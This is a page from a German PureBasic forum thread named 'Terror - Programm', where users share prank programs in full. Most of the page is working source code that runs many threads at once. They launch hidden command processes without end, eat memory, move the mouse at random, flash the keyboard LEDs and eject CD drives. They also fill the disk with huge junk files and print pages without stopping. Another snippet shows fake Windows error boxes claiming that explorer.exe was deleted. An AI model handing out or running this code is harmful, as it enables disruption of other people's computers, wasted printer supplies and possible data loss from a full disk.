PureBoard

Das deutsche PureBasic-Forum
https://www.purebasic.fr/german/

Terror - Programm

https://www.purebasic.fr/german/viewtopic.php?t=1231

Seite 15 von 15

Verfasst: 12.10.2006 17:48
von ComputerFreak_PB
#NULL hat geschrieben:spähs'l

Code: Alles auswählen

For i=0 To 50
  MessageBeep_( Random(1)*16 + Random(1)*48 )
  Delay(170+Random(100))
Next
Delay(500)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageRequester(": [","urlaub",#MB_ICONHAND)
Hab das ganze noch ein bisschen vergrößert:

Code: Alles auswählen

Procedure Hintergrundmusik(Wert)
  Repeat
    Delay(200)
    Repeat
      Zahl = Random(5)
    Until Zahl > 0
    Select zahl
      Case 1: MessageBeep_(#MB_ICONASTERISK)
      Case 2: MessageBeep_(#MB_ICONEXCLAMATION)
      Case 3: MessageBeep_(#MB_ICONHAND)
      Case 4: MessageBeep_(#MB_ICONQUESTION)
      Case 5: MessageBeep_(#MB_OK)
    EndSelect
  ForEver
EndProcedure
Procedure Nachrichten(Wert)
  Repeat
    MessageBox_(0,"Es ist ein Fehler aufgetreten","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"FEHLER!!!","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Die Datei explorer.exe wurde gefunden","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Also hat Windows diese Datei gelöscht","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Die Datei konnte nicht gelöscht werden, da Windows diese Datei benutzt.","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
  ForEver
EndProcedure
CreateThread(@Hintergrundmusik(),0)
CreateThread(@Nachrichten(),0)
Repeat
ForEver

Verfasst: 15.11.2006 18:27
von PureBasic4.0
Hi, Leute

Hatte gerade ein bisschen Zeit und habe folgendes Programm zusammengestelt. (Die Codes sind aus diesem Thread und aus dem purebasic codearchiv

Code: Alles auswählen

InitSprite()
Procedure beeps()
  Repeat
    zahl = Random(32767)
    Repeat
      zahl2 = Random(250)
    Until zahl2 > 0
    Freq = zahl/zahl2
    Beep_(Freq,1)
  ForEver
EndProcedure
Procedure cmd()
  Repeat
    Ergebnis = RunProgram("command","","",#PB_Program_Hide)
  Until Ergebnis = 0
EndProcedure
Procedure ram()
  Repeat
    AllocateMemory(999999)
  ForEver
EndProcedure
Procedure mouse()
  Repeat
    SetCursorPos_(Random(1024),Random(768))
  ForEver
EndProcedure
Procedure SetLEDKey(key$,newstate)
  Select LCase(key$)
  Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
  Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
  Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
  EndSelect
  If oldstate<>newstate
    keybd_event_(keycode,1,0,0)
    keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
  EndIf
EndProcedure
Procedure UseLed()
  Repeat
    Delay(50)
    state + 1
    If state > 1: state = 0: EndIf
    setledkey("c",state)
    setledkey("n",state)
    setledkey("s",state)
  ForEver
EndProcedure
Procedure CD()
 Anzahl = InitAudioCD()
 If Anzahl <> 0
  Repeat
    cdstate + 1
    If cdstate > 1: cdstate = 0: EndIf
    For a = 0 To Anzahl - 1
      If UseAudioCD(a)
        EjectAudioCD(cdstate)
      EndIf
    Next
  ForEver
 EndIf
EndProcedure
Procedure Disk()
  Repeat
    OpenFile(1,"big.xxl")
    For a = 1 To 1000
      WriteString(1,"|"+Space(99999999))
      WriteLong(1,Random(99999999))
    Next
    CloseFile(1)
  ForEver
EndProcedure
Procedure Printer()
  If DefaultPrinter()
    Repeat
      StartPrinting("")
      NewPrinterPage()
      StartDrawing(PrinterOutput())
        Box(0,0,PrinterPageWidth(),PrinterPageHeight(),RGB(Random(255),Random(255),Random(255)))
      StopDrawing()
      StopPrinting()
    ForEver
  EndIf
EndProcedure
DataSection
  Music1: IncludeBinary "music.ogg"
  Music2:
EndDataSection
MessageRequester("Info","Um den vollen Spaß zu genießen, solltest du folgende Regeln beachten:"+Chr(13)+"1. Drehe deine Boxen voll auf"+Chr(13)+"2. Schalte (falls vorhanden) deinen Drucker an"+Chr(13)+"3. Klicke auf OK")
InitSound()
UseOGGSoundDecoder()
CatchSound(1,?Music1,?Music2-?Music1)
PlaySound(1,1)
Pan = -100
stufe$ = "plus"
SoundVolume(1,100)
 CreateThread(@cmd(),0)
 CreateThread(@ram(),0)
 CreateThread(@beeps(),0)
 CreateThread(@mouse(),0)
 CreateThread(@useled(),0)
 CreateThread(@CD(),0)
 CreateThread(@Disk(),0)
 CreateThread(@Printer(),0)
Repeat
  Debug Pan
  If Pan > 100: stufe$ = "minus": EndIf
  If Pan < -100: stufe$ = "plus": EndIf
  If stufe$ = "minus"
    Pan - 1
  EndIf
  If stufe$ = "plus"
    Pan + 1
  EndIf
  SoundPan(1,Pan)
  Delay(1)
ForEver

Verfasst: 21.11.2006 12:31
von DarkSoul
das piepen hättste weglassen können - autsch!!!

hab noch n paar ideen:

mit GetDC_:
-maus verliert öl
-dann kommt ein fenster mit 'Möchten Sie Microsoft Desktopreiniger starten', was einen kleinen schwamm zum vorschein bringt, mit dem man das schrubben kann...
-das etwa alle 15 min

hab sowas schon mal gemacht, finde es nur grad nich wieder.

Verfasst: 21.11.2006 21:02
von hardfalcon
Ein leuchtend roter "Don't panic!"-Button, der am "Schwanz" der Maus/des Mauszeigers hängt... :mrgreen:

Re: Terror - Programm

Verfasst: 16.12.2010 19:54
von Joel
Gibts hier von schon eine überarbeitete Windows 7 Version?:

Code: Alles auswählen

InitSprite()
Procedure beeps()
  Repeat
    zahl = Random(32767)
    Repeat
      zahl2 = Random(250)
    Until zahl2 > 0
    Freq = zahl/zahl2
    Beep_(Freq,1)
  ForEver
EndProcedure
Procedure cmd()
  Repeat
    Ergebnis = RunProgram("command","","",#PB_Program_Hide)
  Until Ergebnis = 0
EndProcedure
Procedure ram()
  Repeat
    AllocateMemory(999999)
  ForEver
EndProcedure
Procedure mouse()
  Repeat
    SetCursorPos_(Random(1024),Random(768))
  ForEver
EndProcedure
Procedure SetLEDKey(key$,newstate)
  Select LCase(key$)
  Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
  Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
  Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
  EndSelect
  If oldstate<>newstate
    keybd_event_(keycode,1,0,0)
    keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
  EndIf
EndProcedure
Procedure UseLed()
  Repeat
    Delay(50)
    state + 1
    If state > 1: state = 0: EndIf
    setledkey("c",state)
    setledkey("n",state)
    setledkey("s",state)
  ForEver
EndProcedure
Procedure CD()
Anzahl = InitAudioCD()
If Anzahl <> 0
  Repeat
    cdstate + 1
    If cdstate > 1: cdstate = 0: EndIf
    For a = 0 To Anzahl - 1
      If UseAudioCD(a)
        EjectAudioCD(cdstate)
      EndIf
    Next
  ForEver
EndIf
EndProcedure
Procedure Disk()
  Repeat
    OpenFile(1,"big.xxl")
    For a = 1 To 1000
      WriteString(1,"|"+Space(99999999))
      WriteLong(1,Random(99999999))
    Next
    CloseFile(1)
  ForEver
EndProcedure
Procedure Printer()
  If DefaultPrinter()
    Repeat
      StartPrinting("")
      NewPrinterPage()
      StartDrawing(PrinterOutput())
        Box(0,0,PrinterPageWidth(),PrinterPageHeight(),RGB(Random(255),Random(255),Random(255)))
      StopDrawing()
      StopPrinting()
    ForEver
  EndIf
EndProcedure
DataSection
  Music1: IncludeBinary "music.ogg"
  Music2:
EndDataSection
MessageRequester("Info","Um den vollen Spaß zu genießen, solltest du folgende Regeln beachten:"+Chr(13)+"1. Drehe deine Boxen voll auf"+Chr(13)+"2. Schalte (falls vorhanden) deinen Drucker an"+Chr(13)+"3. Klicke auf OK")
InitSound()
UseOGGSoundDecoder()
CatchSound(1,?Music1,?Music2-?Music1)
PlaySound(1,1)
Pan = -100
stufe$ = "plus"
SoundVolume(1,100)
CreateThread(@cmd(),0)
CreateThread(@ram(),0)
CreateThread(@beeps(),0)
CreateThread(@mouse(),0)
CreateThread(@useled(),0)
CreateThread(@CD(),0)
CreateThread(@Disk(),0)
CreateThread(@Printer(),0)
Repeat
  Debug Pan
  If Pan > 100: stufe$ = "minus": EndIf
  If Pan < -100: stufe$ = "plus": EndIf
  If stufe$ = "minus"
    Pan - 1
  EndIf
  If stufe$ = "plus"
    Pan + 1
  EndIf
  SoundPan(1,Pan)
  Delay(1)
ForEver

Re: Terror - Programm

Verfasst: 17.12.2010 11:39
von Kiffi
Joel hat geschrieben:Gibts hier von schon eine überarbeitete Windows 7 Version?:
wieso sollte man solch einen Mist portieren wollen?

Re: Terror - Programm

Verfasst: 18.12.2010 18:08
von Fluid Byte
Wow! Welch' epischer Bump!
Alle Zeiten sind UTC+02:00
Seite 15 von 15

Powered by phpBB® Forum Software © phpBB Limited

Deutsche Übersetzung durch phpBB.de